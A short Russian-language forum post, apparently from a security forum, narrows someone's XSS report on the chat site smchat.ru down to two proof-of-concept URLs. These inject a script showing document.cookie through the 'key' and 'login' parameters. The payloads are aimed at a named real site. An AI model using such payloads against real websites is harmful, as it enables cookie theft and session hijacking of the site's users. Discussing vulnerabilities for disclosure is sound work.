Что касается SMCHAT...
ты првел много ссылок, но в итоге надо оставить тока:

http://www.smchat.ru/?key="><script>alert(document.cookie)</script>
http://www.smchat.ru/?login="><script>alert(document.cookie)</script>

т.к. именно в этих параметрах ты приводил, выход XSS, а остальные ссылки, это льши комбинации...